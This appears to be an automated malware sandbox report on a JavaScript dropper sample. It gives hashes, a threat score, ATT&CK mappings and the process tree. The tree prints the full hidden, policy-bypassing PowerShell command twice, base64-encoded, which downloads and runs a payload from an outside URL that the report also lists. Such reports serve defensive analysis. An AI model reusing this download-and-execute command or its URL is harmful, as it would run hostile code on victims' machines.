46f61998e537ab7d039447132b1233c9952282c8288d43da4067df1de2a42e4c

Analysis

max time kernel
9s
max time network
12s
platform
windows7_x64
resource
win7v20210410
submitted
29/07/2021, 05:13

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General

Target
2021APT-28_48630453.js
Size 117KB
Sample210729-9fja5d1prs
SHA256 69f3c29ea8c59e44a85c750b670b4b3a02c2c9b85765362527a8289d14e369a9
MD5 52c6cf58ab70a99a94386db946ae841a
SHA1 235e051762effba7b62d0cb976665c551a3ab292
SHA512 4bcf5d000850200250a760f053bc1c006d2155a494fd00f259ce011baa85226f9199c5a5b4cdde3298c65ab818fc8b0700a0d79a1336fb2fa16564a794fedef1
MD5 SHA1 SHA512

Score

10^/10

Malware Config

Extracted

Language

Deobfuscated

Source

URLs

ps1.dropper
http://smart-integrator.hr/pornhub.php

Signatures

Blocklisted process makes network request 1 IoCs

flow	pid	Process
6	1972	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
1972	powershell.exe
1972	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	1972	powershell.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 788 wrote to memory of 2024	788	wscript.exe	26
PID 788 wrote to memory of 2024	788	wscript.exe	26
PID 788 wrote to memory of 2024	788	wscript.exe	26
PID 2024 wrote to memory of 1972	2024	cmd.exe	28
PID 2024 wrote to memory of 1972	2024	cmd.exe	28
PID 2024 wrote to memory of 1972	2024	cmd.exe	28

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\2021APT-28_48630453.js
1⤵
- Suspicious use of WriteProcessMemory
PID:788
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c poWERshEll -nop -w hidden -ep bypass -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAOgAvAC8AcwBtAGEAcgB0AC0AaQBuAHQAZQBnAHIAYQB0AG8AcgAuAGgAcgAvAHAAbwByAG4AaAB1AGIALgBwAGgAcAAiACkA
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2024
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    poWERshEll -nop -w hidden -ep bypass -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAOgAvAC8AcwBtAGEAcgB0AC0AaQBuAHQAZQBnAHIAYQB0AG8AcgAuAGgAcgAvAHAAbwByAG4AaAB1AGIALgBwAGgAcAAiACkA
    3⤵
    - Blocklisted process makes network request
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1972

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/1972-62-0x000007FEFBC81000-0x000007FEFBC83000-memory.dmp

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memory/1972-63-0x0000000002350000-0x0000000002351000-memory.dmp

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memory/1972-64-0x000000001AA50000-0x000000001AA51000-memory.dmp

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memory/1972-65-0x00000000024D0000-0x00000000024D1000-memory.dmp

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memory/1972-66-0x000000001A9D0000-0x000000001A9D2000-memory.dmp

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memory/1972-67-0x000000001A9D4000-0x000000001A9D6000-memory.dmp

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memory/1972-68-0x0000000002420000-0x0000000002421000-memory.dmp

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memory/1972-69-0x000000001C110000-0x000000001C111000-memory.dmp

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